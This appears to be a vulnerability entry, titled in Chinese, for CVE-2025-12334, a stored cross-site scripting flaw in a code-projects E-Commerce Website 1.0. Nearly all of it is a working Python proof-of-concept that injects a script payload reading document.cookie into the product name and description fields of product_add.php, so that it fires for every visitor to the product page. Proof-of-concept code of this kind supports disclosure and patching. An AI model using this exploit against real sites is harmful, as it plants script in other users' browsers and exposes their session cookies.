CVE-2025-12334 code-projects E-Commerce Website 1.0 跨站脚本(XSS)漏洞

import requests import sys # CVE-2025-12334 PoC - Stored XSS in E-Commerce Website 1.0 # Target: /pages/product_add.php # Parameters: prod_name, prod_desc, prod_cost TARGET_URL = "http://target-site.com/pages/product_add.php" # Malicious JavaScript payload for XSS XSS_PAYLOAD = "<script>alert(document.cookie)</script>" def exploit_stored_xss(): """ Exploit the stored XSS vulnerability in product_add.php The application does not sanitize user input in prod_name, prod_desc, prod_cost fields """ # Prepare the malicious product data product_data = { "prod_name": f"Test Product {XSS_PAYLOAD}", "prod_desc": f"Description with {XSS_PAYLOAD} injected", "prod_cost": "99.99" } try: # Send POST request to inject XSS payload response = requests.post(TARGET_URL, data=product_data, timeout=10) if response.status_code == 200: print(f"[+] XSS payload sent successfully!") print(f"[+] Payload: {XSS_PAYLOAD}") print(f"[+] The XSS will be triggered when anyone views the product page") return True else: print(f"[-] Failed to send payload. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-12334 - Stored XSS in E-Commerce Website 1.0") print("Target: pages/product_add.php") exploit_stored_xss()